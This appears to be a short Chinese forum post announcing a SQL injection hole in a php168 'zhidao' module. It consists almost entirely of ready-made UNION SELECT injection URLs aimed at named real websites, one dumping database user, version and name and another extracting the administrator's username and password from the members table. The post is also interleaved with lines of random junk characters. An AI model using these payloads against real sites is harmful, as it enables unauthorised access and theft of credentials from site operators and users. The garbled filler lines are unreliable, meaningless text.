php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
; Y! C8 K2 D3 o                                       
- `# C7 L9 ^0 z5 n  V# f& ~8 a
# t, Q9 m- }9 V6 r* s' n/ Rhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
  _# p( C3 O0 V% r  R, K  D2 Y                                                                  
                                                        
( S. L% p6 r8 B- ^6 `http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

: J% Y6 I% m8 I) x8 D% q- G0 _; Z
9 q, ~' |$ C1 y! x- j6 \) U
                                                            

http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


, w+ {/ g9 K0 n( V
9 H9 X$ h* _; q! F: H                                                                    
1 V  r/ _% q4 x# E' M